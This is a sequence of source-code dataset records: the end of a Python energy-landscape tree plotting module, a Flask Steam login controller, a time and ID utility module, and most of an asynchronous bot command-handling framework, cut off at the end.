max(min(self.barrier_mat[i1, i2], barrier_out[i]), endpoint_en_max)\n self.barrier_mat[i2, i1] = self.barrier_mat[i1, i2]\n\n # save results\n np.save(os.path.join(self.config.elm_out_tree, self.config.bar_mat_file), self.barrier_mat)\n\n def build_ultrametric_tree(self):\n self.nodes = []\n self.num_mins = self.barrier_mat.shape[0]\n # recursively update barrier matrix\n bar_mat = self.barrier_mat\n # DG nodes corresponding to each row/col of bar_mat\n active_nodes = list(np.int32(np.arange(self.num_mins)))\n\n for i in range(self.num_mins):\n # terminal nodes of DG: the basin representatives\n self.nodes.append([self.barrier_mat[i, i], [], [], []])\n\n def update_bar_mat(i1, i2):\n n_rows = bar_mat.shape[0]\n kept_inds = list(set(range(n_rows)) - {i1, i2})\n bar_mat_out = np.zeros([n_rows - 1, n_rows - 1])\n bar_mat_out[0:(n_rows-2), 0:(n_rows-2)] = bar_mat[np.ix_(kept_inds, kept_inds)]\n bar_mat_out[n_rows-2, 0:(n_rows-2)] = np.minimum(bar_mat[i1, kept_inds], bar_mat[i2, kept_inds])\n bar_mat_out[0:(n_rows - 2), n_rows-2] = bar_mat_out[n_rows-2, 0:(n_rows-2)]\n bar_mat_out[n_rows-2, n_rows-2] = min(bar_mat[i1, i1], bar_mat[i2, i2])\n return bar_mat_out\n\n min_bar = np.min(bar_mat[np.triu_indices(bar_mat.shape[0], k=1)])\n\n while (len(active_nodes) > 1) and (not min_bar == float('inf')):\n # find indices of lowest barrier in recursively updated barrier matrix\n ind1, ind2 = np.where((np.triu(bar_mat, k=1)+np.tril(float('inf')*np.ones(bar_mat.shape), k=0)) == min_bar)\n ind1 = int(ind1[len(ind1)-1])\n ind2 = int(ind2[len(ind2)-1])\n # merge rows/cols of bar_mat corresponding to lowest remaining barrier\n bar_mat = update_bar_mat(ind1, ind2)\n\n # record child nodes of new merge node\n self.nodes.append([min_bar, [], [active_nodes[ind1], active_nodes[ind2]], []])\n # add parent to child nodes\n self.nodes[active_nodes[ind1]][1] = len(self.nodes) - 1\n self.nodes[active_nodes[ind2]][1] = len(self.nodes) - 1\n\n # update tree nodes corresponding to rows/cols of bar mat\n active_nodes = sorted(list(set(active_nodes) - {active_nodes[ind1], active_nodes[ind2]}))\n active_nodes.append(len(self.nodes) - 1)\n\n # find new min barrier for next iteration\n if len(active_nodes) > 1:\n min_bar = np.min(bar_mat[np.triu_indices(bar_mat.shape[0], k=1)])\n\n def plot_ultrametric_tree(self):\n self.num_mins = self.barrier_mat.shape[0]\n\n # order of terminal nodes in DG\n def get_viz_order():\n ind = len(self.nodes) - 1\n viz_ord = [ind]\n while (ind >= 0) and (not self.nodes[ind][2] == []):\n exp_ind = viz_ord.index(ind)\n viz_ord = viz_ord[0:exp_ind] + self.nodes[ind][2] + viz_ord[(exp_ind+1):len(viz_ord)]\n if (ind - 1) in viz_ord:\n ind = ind - 1\n else:\n ind = ind - 1\n viz_ord = [ind] + viz_ord\n if len(viz_ord) < self.num_mins:\n viz_ord = sorted(list(set(range(ind)) - set(viz_ord))) + viz_ord\n\n return viz_ord\n\n # get order of terminal nodes\n viz_order = get_viz_order()\n\n # 4-entry x and y vectors to visualize the children of each non-terminal node\n viz_mat_x = np.zeros([len(self.nodes)-self.num_mins, 4])\n viz_mat_y = np.zeros([len(self.nodes)-self.num_mins, 4])\n viz_mat_count = 0\n for i in range(len(self.nodes)):\n if not self.nodes[i][2]:\n # terminal nodes are spaced evenly along x-axis according to viz_order\n self.nodes[i][3] = viz_order.index(i)\n else:\n # merge branches between lowest barriers\n child1 = self.nodes[self.nodes[i][2][0]]\n child2 = self.nodes[self.nodes[i][2][1]]\n # x location is the midpoint of child x locations, y location is energy (already stored)\n self.nodes[i][3] = 0.5 * (child1[3] + child2[3])\n # records to plot children of non-terminal nodes\n viz_mat_x[viz_mat_count] = [child1[3], child1[3], child2[3], child2[3]]\n viz_mat_y[viz_mat_count] = [child1[0], self.nodes[i][0], self.nodes[i][0], child2[0]]\n viz_mat_count += 1\n\n # parameters for visualizing images in ELM tree\n min_en = np.min(self.barrier_mat)\n max_en = np.max(self.barrier_mat[self.barrier_mat < float('inf')])\n en_gap = max_en - min_en\n en_viz_start1 = min_en - en_gap * self.config.viz_prop1\n en_viz_start2 = min_en - en_gap * self.config.viz_prop1 * self.config.viz_prop2\n en_diff = self.config.viz_prop1 * (1 - self.config.viz_prop2) * en_gap\n\n _, ax = plt.subplots()\n\n if self.config.viz_ims:\n # add basin reps and example images to ELM Tree\n for i in range(self.num_mins):\n # get indices of random example members from basin\n i_inds = [j for j, x in enumerate(list(self.id_path)) if x == viz_order[i]+1]\n rand_inds = np.random.permutation(len(i_inds))[0:min(self.config.num_viz_ex, len(i_inds))]\n rand_i_inds = [i_inds[j] for j in rand_inds]\n i_ens = [self.en_path_min[j] for j in rand_i_inds]\n sort_inds = np.argsort(i_ens)\n\n # visualize examples minima from basin\n for j in range(self.config.num_viz_ex):\n if len(sort_inds) >= self.config.num_viz_ex - j:\n temp_ind = self.config.num_viz_ex - 1 - j\n ax.imshow((self.im_path_min[i_inds[sort_inds[temp_ind]]] + 1) / 2, aspect='auto',\n extent=(i - 7 / 16, i + 7 / 16, en_viz_start1 - j*en_diff, en_viz_start2 - j*en_diff))\n\n # visualize the basin representative\n ax.imshow((self.min_ims[viz_order[i]]+1)/2, aspect='auto',\n extent=(i-7/16, i+7/16, en_viz_start1 - (self.config.num_viz_ex+1.25) * en_diff,\n en_viz_start2 - (self.config.num_viz_ex+1.25) * en_diff))\n\n for i in range(self.num_mins):\n ax.scatter(self.nodes[i][3], self.barrier_mat[i, i], s=1, c='k')\n\n for i in range(viz_mat_x.shape[0]):\n ax.plot(viz_mat_x[i], viz_mat_y[i], 'k')\n\n plt.savefig(os.path.join(self.config.elm_out_tree, 'tree_viz'), format='pdf', dpi=1000)\n\n def viz_elm_tree(self):\n # viz recorded elm info\n self.viz_elm_record()\n\n if self.config.get_bar_mat:\n if self.config.prune_mins:\n # prune low-member mins from record\n if self.config.prune_type == 'full':\n self.prune_elm_record()\n elif self.config.prune_type == 'quick':\n self.prune_elm_record_quick()\n else:\n raise ValueError('Invalid prune_type (\"full\" or \"quick\")')\n # use AD to estimate energy barriers between global basin reps\n self.get_barrier_matrix()\n else:\n # load barrier matrix from file\n self.barrier_mat = np.load(os.path.join(self.config.elm_out_tree, self.config.bar_mat_file)+'.npy')\n # build and vizualize disconnectivity graph\n self.build_ultrametric_tree()\n self.plot_ultrametric_tree()\n","sub_path":"map_code/coop_elm_parallel_cpu.py","file_name":"coop_elm_parallel_cpu.py","file_ext":"py","file_size_in_byte":52772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"536270114","text":"\"\"\"\nController used to authenticate users using Steam.\n\"\"\"\nfrom gamebucket import app, db, oid\nfrom gamebucket.models import db_access\nfrom gamebucket.helpers import steam_api\nfrom flask import url_for, redirect, render_template, request, g, session\nimport re\n\n\nSTEAM_LOGIN_URL = 'http://steamcommunity.com/openid'\nSTEAM_ID_REGEX = re.compile('steamcommunity.com/openid/id/(.*?)$')\n\n\n@app.route('/login')\n@oid.loginhandler\ndef login_index():\n \"\"\"\n This page doesn't have an actual view, it just redirects to the Steam login\n page, then redirects to `next` when Steam returns.\n \"\"\"\n # If a user is already logged in, they can just be taken to the target URL.\n if g.user is not None:\n return redirect(oid.get_next_url())\n\n # Otherwise, attempt to log in using Steam.\n return oid.try_login(STEAM_LOGIN_URL)\n\n\n@app.route('/login/required')\ndef login_required():\n \"\"\"\n Page shown when another page is marked as @login_required. Displays a Steam\n login button which reidrects to login/index.\n \"\"\"\n # Build the URL of the login page, using the `next` parameter.\n login_url = url_for('login_index', next=request.args.get('next'))\n\n return render_template('login/required.html', login_url=login_url)\n\n\n@oid.after_login\ndef login_handler(resp):\n # Find the steam ID in the response.\n match = STEAM_ID_REGEX.search(resp.identity_url)\n\n # See if the steam ID matches an existing user.\n user = db_access.get_user_by_steam_id(match.group(1))\n if user is None:\n # This is a new user to Gamebucket so create a new User object for them.\n user = db_access.create_user(match.group(1))\n\n # Retrieve the user's steam details so their nickname and avatar URL can\n # be updated.\n details = steam_api.get_user(user.steam_id)\n user.nickname = details['personaname']\n user.avatar_url = details['avatarmedium']\n db.session.commit()\n\n # Store the logged in user in the global object.\n g.user = user\n session['user_id'] = user.id\n\n return redirect(oid.get_next_url())\n","sub_path":"gamebucket/controllers/login.py","file_name":"login.py","file_ext":"py","file_size_in_byte":2050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"231261393","text":"import string\nimport time\nimport datetime\nimport sys\nimport importlib\nimport os\nfrom random import sample\n\n\ndef get_time_in_format(format_time=None, gmt=0, offset_min=0, set_time=None, set_date=None):\n \"\"\"\n :param format_time: формат времени в котором вернутся, форматы по умолчанию(couchdb, couchdbtz, invoicedate)\n или например: '%Y-%m-%d'\n :param gmt: Часовой пояс - целое число\n :param offset_min: смещение по времени в минутах\n :param set_time: конкретно заданное время (datetime.time())\n :param set_date: конкретно заданная дата (datetime.date())\n :return: Получаем время в заданном формате, в заданном часовом поясе\n \"\"\"\n current_time = datetime.datetime.now().replace(microsecond=0)\n if set_time:\n current_time = current_time.replace(hour=set_time.hour, minute=set_time.minute, second=set_time.second)\n if set_date:\n current_time = datetime.datetime.combine(set_date, current_time.time())\n current_time += datetime.timedelta(minutes=offset_min)\n\n # CouchDb - время для couchdb по нулевому меридиану\n if format_time:\n if format_time.lower() == 'couchdb':\n current_time -= datetime.timedelta(hours=gmt)\n time_str = current_time.strftime('%Y-%m-%dT%H:%M:%SZ')\n\n # Время в текущем часовом поясе с учетом часового пояса\n elif format_time.lower() == 'couchdbtz':\n time_str = current_time.strftime('%Y-%m-%dT%H:%M:%S.000' + '%s:00' % '%+03d' % gmt)\n\n # Формат времени фронта\n elif format_time.lower() == 'invoicedate':\n current_time -= datetime.timedelta(hours=gmt)\n time_str = (round(current_time.timestamp()) - time.timezone) * 1000\n\n # Произвольный формат времени\n else:\n current_time += datetime.timedelta(hours=int(time.timezone / 3600) + gmt)\n time_str = current_time.strftime(format_time)\n\n else:\n time_str = current_time\n\n return time_str\n\n\ndef update_invoice_date(current_time, offset_min=0):\n return int((current_time / 1000 + offset_min * 60) * 1000)\n\n\ndef update_time_in_format(current_time, format_time, gmt=0, offset_min=0):\n new_time = int((current_time / 1000 + offset_min * 60) * 1000)\n if format_time:\n datetime_time = datetime.datetime.fromtimestamp(new_time/1000)\n datetime_time -= datetime.timedelta(hours=gmt)\n if format_time.lower() == 'couchdb':\n return datetime_time.strftime('%Y-%m-%dT%H:%M:%SZ')\n return new_time\n\n\ndef gen_couchdb_id(doc_name=None, guid=None, offset_min=0):\n def __generate_id(doc_name_1, guid_1):\n if doc_name_1 is None:\n if guid_1 is not None:\n return '%s|%s|%s' % (t_time, ''.join(sample(chars, 5)), str(guid_1))\n else:\n return '%s|%s' % (t_time, ''.join(sample(chars, 5)))\n else:\n return '%s-%s|%s' % (doc_name_1, t_time, ''.join(sample(chars, 5)))\n\n now = time.time()\n st = datetime.datetime.fromtimestamp(now + offset_min * 60)\n t_time = st.strftime('%d%H%M%S%Z') + str(st.microsecond)\n chars = string.ascii_uppercase + string.ascii_lowercase + string.digits\n\n doc_id = __generate_id(doc_name, guid)\n return doc_id\n\n\ndef get_selenium_resource(path, path_dir='resources.', translate=os.getenv('TRANSLATE', 'rus.').lower()):\n if '.' in path:\n raise Exception('Сценарий не исправлен')\n\n path = path.split('/')\n\n if '.' not in translate and translate != '':\n translate += '.'\n\n module_path = path[0:-1]\n module_path = path_dir + translate + '.'.join(module_path)\n\n module_item = path[-1]\n\n try:\n exported_module = importlib.import_module(module_path)\n except Exception:\n raise Exception('Не правильно указан путь к файлу для импорта: %r' % module_path.replace('.', '/'))\n\n try:\n module_resource = getattr(exported_module, module_item)\n except Exception:\n raise AttributeError('Переменой %r нет в файле импорта %r' % (module_item, module_path.replace('.', '/')))\n\n del sys.modules[module_path]\n del exported_module\n\n return module_resource\n","sub_path":"utils/getter.py","file_name":"getter.py","file_ext":"py","file_size_in_byte":4501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"142300832","text":"#!/usr/bin/env python3\n\n\"\"\"This is a small and basic command handling framework for making Python bots.\"\"\"\n\nimport asyncio\nimport importlib\nimport inspect\nimport json\nimport logging\nimport shlex\nimport sys\nimport time\nfrom typing import List\n\ntry:\n import aiohttp\nexcept ImportError:\n pass\n\nimport k3.keygen\nimport k3.formatters.core\n\nlogger = logging.getLogger(__name__)\n\n\nclass NotCoroutine(Exception):\n \"\"\"Raised if a command is passed a function that is not a coroutine.\"\"\"\n pass\n\n\nclass CommandExists(Exception):\n \"\"\"Raised if a command registration attempt is made, but the name already exists in the bot.\"\"\"\n pass\n\n\nclass OnCooldown(Exception):\n \"\"\"Raised if a command is invoked while on cooldown.\"\"\"\n pass\n\n\nclass BadArgument(Exception):\n \"\"\"Raised if a bad argument is supplied to a command.\"\"\"\n pass\n\n\nclass NotBotOwner(Exception):\n \"\"\"Raised if an owner-only command is invoked by someone who isn't the bot owner.\"\"\"\n pass\n\n\ndef parse_arguments(text: str):\n \"\"\"A very simple argument parser.\n\n * `text` - An `str` to be parsed into arguments.\n \"\"\"\n try:\n arguments = shlex.split(text)\n except ValueError:\n # Fallback if shlex blows up.\n text = text.strip()\n arguments = list(filter(lambda item: item != \"\", text.split(\" \")))\n return arguments\n\n\ndef convert_arguments(start: int, signature: inspect.Signature, *args):\n \"\"\"Parse and typecast arguments based on a function signature. Returns a `list` truncated to\n the length of the signature or the argument list, whichever is shorter.\n\n * `start` - The starting index to use for the parameters. This is used so we can skip over the\n `ctx` argument that is required by k3 command coroutines.\n * `signature` - An `inspect.Signature` that is used as a basis for converting the arguments.\n * `args` - The arguments to be converted.\n \"\"\"\n return_args = []\n signature_params = list(signature.parameters.values())\n for index, (param, arg) in enumerate(zip(signature_params[start:], args)):\n if param.kind == param.VAR_POSITIONAL:\n # We've reached an *args parameter, so we just concatenate the remaining arguments\n # onto the return. This is why enumerate is used here - it gives us an index to mark\n # where the leftover arguments begin.\n return_args += args[index:]\n elif param.annotation is not param.empty:\n try:\n return_args.append(param.annotation(arg)) # Typecast using param.annotation.\n except ValueError:\n raise BadArgument((f\"Argument named \\\"{param.name}\\\" must be of type \"\n f\"{param.annotation.__name__}.\"))\n else:\n return_args.append(arg)\n return return_args\n\n\nclass Context:\n \"\"\"This object represents an abstracted context under which a `Command` is invoked.\n\n You don't make these manually.\n \"\"\"\n\n def __init__(self, *, callback_send, character_limit: int=2000, command, bot,\n invoked_with: str):\n \"\"\"**Parameters**\n\n * `callback_send` - A coroutine for sending a message. This is entirely dependent on your\n library. You may have to implement a custom coroutine, depending on\n the format of your library's own method for sending messages.\n * `character_limit` - An `int` representing the maximum allowable characters per message.\n The abstracted `send` method will automatically split messages that\n are too long; if this behavior is undesirable, you should do a\n manual truncation.\n * `command` - The `Command` object associated with the context.\n * `bot` - The `Bot` object associated with your bot.\n * `invoked_with` - `str` representing the command name associated with the context.\n * `formatter` or `f` - Shorthand for `ctx.bot.formatter`.\n \"\"\"\n if not asyncio.iscoroutinefunction(callback_send):\n raise NotCoroutine(f\"{callback_send.__name__} is not a coroutine function.\")\n self._callback_send = callback_send\n self.bot = bot\n self.command = command\n self.character_limit = character_limit\n self.invoked_with = invoked_with\n\n @property\n def formatter(self):\n \"\"\"Shorthand for `ctx.bot.formatter`.\"\"\"\n return self.bot.formatter\n\n @property\n def f(self):\n \"\"\"Shorthand for `ctx.bot.formatter`.\"\"\"\n return self.bot.formatter\n\n async def send(self, message):\n \"\"\"An abstracted method that sends a message to the desired location. This is a coroutine.\n\n You must specify the actual send method in the `Context` constructor.\n \"\"\"\n message = str(message)\n cl = self.character_limit\n pages = [message[i:i+cl] for i in range(0, len(message), cl)]\n for page in pages:\n await self._callback_send(page)\n\n\nclass CommandGroupMixin:\n \"\"\"This class contains partial command handling facilities, as well as command grouping\n functionality. Generally, you do not use this by itself.\n\n Both `Bot` and `Command` inherit from this class.\n\n * `commands` - A `dict` containing all of the bot's commands.\n * `all_commands` - A `dict` containing all of the bot's commands, counting aliases.\n * `name` - An `str` representing the name of the `CommandGroupMixin`. Children classes\n should reimplement `__init__` to set it as desired. `name` is used in `process`\n to detect command invocations, where a matching `name` will trigger the\n corresponding command.\n * `aliases` - A `list` of `str` representing alternates to `name` for command invocations.\n * `parent` - The parent object of the mixin; the command or bot that it has been added to.\n \"\"\"\n\n def __init__(self, *, name: str=None, aliases: List[str]=[]):\n self.commands = {}\n self.all_commands = {}\n self.name = name or self.__name__\n self.aliases = []\n self.parent = None\n\n def add_command(self, command, *, skip_duplicate=False):\n \"\"\"Add a `Command` object to the group.\n\n Normally, you do not call this by itself; instead, you use the `CommandGroupMixin.command`\n decorator. Or you may call `Bot.add_module()` on a module that contains a series of commands\n created using the `k3.command` decorator.\n\n * `command` - A `Command` object to be added.\n * `skip_duplicate` - A `bool`. If `True`, the function returns immediately if the command\n is found to already exist. Otherwise, it raises a `CommandExists`\n exception. Defaults to `False`.\n \"\"\"\n if command.name in self.all_commands.keys() and skip_duplicate:\n return\n elif command.name in self.all_commands.keys():\n raise CommandExists(f\"{command.name} is a command that already exists.\")\n command.parent = self # Set the command's bot instance\n self.commands[command.name] = command\n self.all_commands[command.name] = command\n for alias in command.aliases:\n self.all_commands[alias] = command\n\n def remove_command(self, name):\n \"\"\"Remove a `Command` object from the group, by name.\n\n * `name` - An `str` referring to the name of the command to remove.\n \"\"\"\n aliases = self.commands[name].aliases\n self.commands[name].parent = None\n del self.commands[name]\n del self.all_commands[name]\n for alias in aliases:\n del self.all_commands[alias]\n\n async def process(self, message: str, *, callback_send, is_owner: bool=False,\n character_limit: int=2000, prefixes: List[str]=[]):\n \"\"\"Process the given message. This is a coroutine.\n\n * `message` - A message `str` for the bot to process.\n * `is_owner` - A `bool` used to force an owner check override if you want an alternative\n handler instead of k3's clunky key system. This is useful if the library you\n use has some automated means of distinguishing the bot owner. For example,\n discord.py offers owner information via `discord.Client.application_info()`,\n so you can use that to check if the message sender is the owner, and then\n pass the result on to the k3 handler.\n * `callback_send` - A coroutine that k3 will use to send messages. This is library-\n dependent, and you may have to define a custom coroutine depending on\n the exact format of your library's methods.\n * `character_limit` - An `int` representing the number of allowed characters in a given\n message.\n * `prefixes` - A `list` of `str` to look out for in the process of invoking commands.\n If a message starts with one of the `str` in the `list`, then an\n invocation will be attempted. Normally, you don't override this.\n \"\"\"\n if not prefixes:\n prefixes = [self.name] + self.aliases\n\n for prefix in prefixes:\n if message.startswith(prefix):\n\n noprefix_message = message[len(prefix):].strip()\n arguments = noprefix_message.split(\" \")\n\n if arguments and arguments[0] in self.all_commands.keys():\n await self.all_commands[arguments[0]].process(noprefix_message,\n is_owner=is_owner,\n callback_send=callback_send,\n character_limit=character_limit)\n else:\n await self.invoke(message, is_owner=is_owner, callback_send=callback_send,\n character_limit=character_limit)\n break\n\n async def invoke(self, message: str, *, is_owner: bool=False, callback_send,\n character_limit: int=2000):\n \"\"\"This is a dummy `invoke` method, to be reimplemented in children classes.\n\n It is called to invoke the `CommandGroupMixin`, but this is a mixin class and thus does\n not have anything to invoke, really.\n \"\"\"\n pass\n\n def command(self, *, name: str=None, aliases: List[str]=[], help: str=None,\n owner_only: bool=False):\n \"\"\"This is a shortcut decorator that directly adds a subcommand.\n\n Refer to the `k3.command` decorator for more details, as it is functionally similar.\n \"\"\"\n\n def decorator(coro):\n new_command = Command(coro, name=name, aliases=aliases, help=help,\n owner_only=owner_only)\n self.add_command(new_command)\n return new_command\n\n return decorator\n\n @property\n def top_level(self):\n \"\"\"Returns the top-level container for this object. Usually a commands.Bot().\"\"\"\n current_level = self\n while current_level.parent:\n current_level = current_level.parent\n return current_level\n\n\nclass Bot(CommandGroupMixin):\n \"\"\"This is a bot object that contains basic command handling functionality.\n\n Inherits `CommandGroupMixin` functionality; refer to that class for additional functionality.\n \"\"\"\n\n def __init__(self, *, loop: asyncio.AbstractEventLoop, prefix: str, name: str=\"k3\",\n description: str=\"A bot made using the k3 command handler.\", logout=None,\n formatter=None, config_file: str=\"config.json\"):\n \"\"\"This object respresents a command-based bot; i.e. it can process and handle commands.\n Commands are represented by `Command` objects.\n\n To use this, instantiate it and then call `Bot.process(text)` whenever a message event\n occurs. Some examples are provided in the repository.\n\n * `loop` - An `asyncio.AbstractEventLoop` to pass to the bot.\n * `prefix` - An `str` that the bot uses to identify whether a command is being\n requested by someone. All attempted command invocations must start with\n the prefix.\n * `name` - An `str` representing the name of the bot. Defaults to `k3`.\n * `description` - An `str` representing the description of the bot. Defaults to `A bot made\n using the k3 command handler.`\n * `logout` - An optional callable parameter that allows for an abstracted bot logout. This\n allows you to supply a method for cleanly exiting the bot. It can be as simple\n as supplying `sys.exit`, though this will usually not be a clean exit. The\n `logout` parameter may be a coroutine function.\n * `formatter` - A custom `Formatter` object for formatting things into platform-specific\n outputs. You can use one of k3's built-in formatters, or you can make one\n of your own. Formatters should be subclassed from\n `k3.formatters.BaseFormatter`.\n * `config_file` - An `str` representing the configuration file of the bot. Defaults to\n `config.json`. This doesn't really have to be used, but it's there for\n convenience reasons.\n\n Instance variables not in the constructor:\n\n * `key` - An `str` key for the bot owner. Use this for platform-agnostic owner-only\n commands. Commands marked as owner-only will require the key to be supplied as\n the last command argument. Because the key obviously becomes public as soon as\n it's posted to a chat, it changes upon every use.\n * `session` - An `aiohttp.ClientSession` that the bot can use to make HTTP requests.\n This is useful for commands that perform API hooks. If `aiohttp` is not\n available, this is just `None`.\n * `config` - A `dict` containing key-value pairs meant for bot configuration. This doesn't\n really have to be used, but it's there for convenience reasons.\n\n Example usage:\n\n import discord\n\n from k3 import commands\n\n client = discord.Client()\n bot = commands.Bot(loop=client.loop, prefix=\">>\", name=\"MyBot\", logout=client.logout)\n \"\"\"\n super(Bot, self).__init__(name=name)\n self.loop = loop\n try:\n self.session = aiohttp.ClientSession(loop=self.loop)\n except NameError:\n self.session = None\n self.prefix = prefix\n self.description = description\n self._logout = logout\n if not formatter:\n self.formatter = k3.formatters.core.BaseFormatter()\n elif not isinstance(formatter, k3.formatters.core.BaseFormatter):\n raise TypeError(f\"{formatter} is not a BaseFormatter.\")\n else:\n self.formatter = formatter\n self.config = {}\n self.config_file = config_file\n\n self._task_key_regeneration = self.loop.create_task(self._regenerate_key_auto())\n\n async def logout(self):\n \"\"\"An abstracted logout method. This is a coroutine.\n\n You must specify the logout function in the `Bot` constructor.\n \"\"\"\n self.session.close()\n self._task_key_regeneration.cancel()\n if asyncio.iscoroutinefunction(self._logout):\n await self._logout()\n elif callable(self._logout):\n self._logout()\n\n def load_config(self, filename: str=None):\n \"\"\"Load config from a JSON file.\n\n * `filename` - The filename of the JSON file to be loaded. If not specified, the bot will\n default to `Bot.config_file`.\n \"\"\"\n if not filename:\n filename = self.config_file\n with open(filename) as file_object:\n config = json.load(file_object)\n if isinstance(config, dict):\n for key, value in config.items():\n self.config[key] = value\n\n def save_config(self, filename: str=None):\n \"\"\"Save config to a JSON file.\n\n * `filename` - The filename of the JSON file to be saved to. If not specified, the bot will\n default to `Bot.config_file`.\n \"\"\"\n if not filename:\n filename = self.config_file\n with open(filename, \"w\") as file_object:\n json.dump(self.config, file_object)\n\n def regenerate_key(self):\n \"\"\"Generate a new key for the bot. Random alphanumeric string, 64 characters long.\n\n This is called every 30 minutes, and also whenever an owner-only command is invoked unless\n an override is requested.\n \"\"\"\n self.key = k3.keygen.generate_key()\n logger.info(\"Bot key is now {self.key}\")\n\n async def _regenerate_key_auto(self):\n \"\"\"Regenerate key every 30 minutes.\"\"\"\n while 1:\n self.regenerate_key()\n await asyncio.sleep(1800)\n\n async def process(self, message: str, *, callback_send, is_owner: bool=False,\n character_limit: int=2000):\n \"\"\"Reimplemented `process` to check against the bot's prefix. Refer to\n `CommandGroupMixin.process` for more details.\"\"\"\n await super(Bot, self).process(message, callback_send=callback_send, is_owner=is_owner,\n character_limit=character_limit, prefixes=[self.prefix])\n\n def add_module(self, name: str, *, skip_duplicate_commands: bool=False):\n \"\"\"Add a Python module to the bot, by name.\n\n The bot will check said module for instances of `Command` and add all of them to itself.\n\n * `name` - An `str` representing the name of the module to import.\n * `skip_duplicate_commands` - A `bool`. If `True`, the function will skip command names\n that already exist. Otherwise, it raises a `CommandExists`\n exception. Defaults to `False`.\n \"\"\"\n\n # If the module is already in memory, we reload it instead.\n if name in sys.modules.keys():\n importlib.reload(sys.modules[name])\n module = sys.modules[name]\n else:\n module = importlib.import_module(name)\n\n for command in dir(module):\n\n command = getattr(module, command)\n\n if isinstance(command, Command) and not command.parent:\n self.add_command(command, skip_duplicate=skip_duplicate_commands)\n\n def remove_module(self, name):\n \"\"\"Remove a Python module to the bot, by name.\n\n When this is called, the bot will remove all `Command` objects that belong to the module\n in question. It does not unload the module from memory, as Python doesn't support this.\n This isn't considered a serious issue, since the hit to memory usage shouldn't be\n significant.\n\n * `name` - An `str` representing the name of the module to remove.\n \"\"\"\n for command_name, command in tuple(self.commands.items()):\n if command.coro.__module__ == name:\n self.remove_command(command_name)\n\n\nclass Command(CommandGroupMixin):\n\n def __init__(self, coro, *, name: str=None, aliases: List[str]=[], help: str=None,\n owner_only=False):\n \"\"\"This object represents a command that a bot can use.\n\n Normally, you do not construct this directly. Use the decorator syntax instead.\n\n * `coro` - A coroutine function that the command uses upon calling `invoke()`.\n Should have an `*args` to catch any extra arguments.\n * `name` - An `str` representing the name for the command. If unspecified, it's set to\n `coro.__name__`.\n * `aliases` - A `list` of `str` representing aliases for the command; that is, alternative\n names you can invoke the command under.\n * `help` - An `str` representing the command's help text. It can alternatively be read from\n the coroutine's docstring, which makes code easier to read.\n * `owner_only` - A `bool`. Determines whether the command is meant for the bot owner only.\n If `True`, the command will require the bot's temporary key as the final\n command argument, and will fail to run unless `is_owner` is overridden in\n the call to the `invoke()` method. Defaults to `False`.\n\n Instance variables not in the constructor:\n\n * `bot` - The `Bot` instance that the command is assigned to.\n * `signature` - An `inspect.Signature` reflecting the command signature.\n \"\"\"\n\n name = name or coro.__name__\n super(Command, self).__init__(name=name, aliases=aliases)\n\n self.help = help or inspect.getdoc(coro)\n\n if not asyncio.iscoroutinefunction(coro):\n raise NotCoroutine(f\"{coro.__name__} is not a coroutine function.\")\n self.coro = coro\n self.signature = inspect.signature(self.coro)\n\n self.owner_only = owner_only\n\n # These are used internally for cooldowns.\n self._interval_start = 0 # This tracks the start of an interval.\n self._times_invoked = 0 # This tracks the number of times the command is used.\n self._limit = 0 # Limit of uses per interval\n self._interval = 0 # Interval in seconds\n\n def set_cooldown(self, limit: int, interval: float=1):\n \"\"\"This sets the cooldown for the command.\n\n Normally, you do not call this directly; use the decorator syntax instead.\n\n * `limit` - An `int` representing the limit of uses per interval before the cooldown kicks.\n * `interval` - A `float` representing, in seconds, the interval before the cooldown resets.\n Defaults to `1`.\n \"\"\"\n self._limit = limit\n self._interval = interval\n\n def _update_cooldown(self):\n if self._limit > 1:\n invoke_time = time.time()\n if invoke_time - self._interval_start >= self._interval:\n self._times_invoked = 1\n self._interval_start = invoke_time\n elif self._times_invoked >= self._limit:\n raise OnCooldown(\"Command on cooldown.\")\n else:\n self._times_invoked += 1\n\n async def invoke(self, message: str, *, is_owner: bool=False, callback_send,\n character_limit: int=2000):\n \"\"\"Calling this will invoke the command, provided a message string.\n\n Normally, you do not call this by itself; instead run `Bot.process()`.\n\n * `message` - An `str` to pass the command for processing.\n * `is_owner` - A `bool` that overrides the owner checking. Use this if you have some other\n means of checking for the owner.\n * `callback_send` - A coroutine that k3 will use to send messages. This is library-\n dependent, and you may have to define a custom coroutine depending on\n the exact format of your library's methods.\n * `character_limit` - An `int` representing the number of allowed characters in a given\n message.\n \"\"\"\n # Cooldown\n self._update_cooldown()\n\n arguments = parse_arguments(message)\n invoked_with = arguments.pop(0)\n\n # Override.\n if is_owner:\n pass\n # Check arguments against the bot's key if owner_only.\n # We assume that top_level is a Bot in this case.\n elif self.owner_only and (not arguments or arguments[-1] != self.top_level.key):\n raise NotBotOwner(\"You don't own this bot.\")\n elif self.owner_only:\n arguments.pop(-1)\n self.top_level.regenerate_key()\n\n ctx = Context(callback_send=callback_send, bot=self.top_level, command=self,\n character_limit=character_limit, invoked_with=invoked_with)\n converted_arguments = convert_arguments(1, self.signature, *arguments)\n response = await self.coro(ctx, *converted_arguments)\n\n return response\n\n\ndef command(*, name: str=None, aliases: List[str]=[], help: str=None, owner_only: bool=False):\n \"\"\"This is a decorator, which you call on a coroutine to make it into a `Command` object.\n\n Normally, you should use this instead of constructing `Command` objects directly.\n\n * `coro` - A coroutine function that the command uses upon calling `invoke()`.\n Should have an `*args` to catch any extra arguments.\n * `name` - An `str` reperesnting the name for the command. If unspecified, it's set to\n `coro.__name__`.\n * `aliases` - A `list` of `str` representing aliases for the command; that is, alternative\n names you can invoke the command under.\n * `help` - An `str` representing the command's help text.\n * `owner_only` - A `bool`. Determines whether the command is meant for the bot owner only.\n If `True`, the command will require the bot's temporary key as the final\n command argument, and will fail to run unless `is_owner` is overridden in the\n call to the `invoke()` method. Defaults to `False`.\n\n Example:\n\n @commands.command()\n async def ping(*args):\n return \"Pong!\"\n \"\"\"\n\n def decorator(coro):\n new_command = Command(coro, name=name, aliases=aliases, help=help, owner_only=owner_only)\n return new_command\n\n return decorator\n\n\ndef cooldown(uses: int, interval: float=1):\n \"\"\"This is a decorator that sets the cooldown for a command.\n\n Normally, you should use this instead of calling `Command.set_cooldown()` directly.\n\n * `limit` - An `int` representing the limit of uses per interval before the cooldown kicks.\n * `interval` - 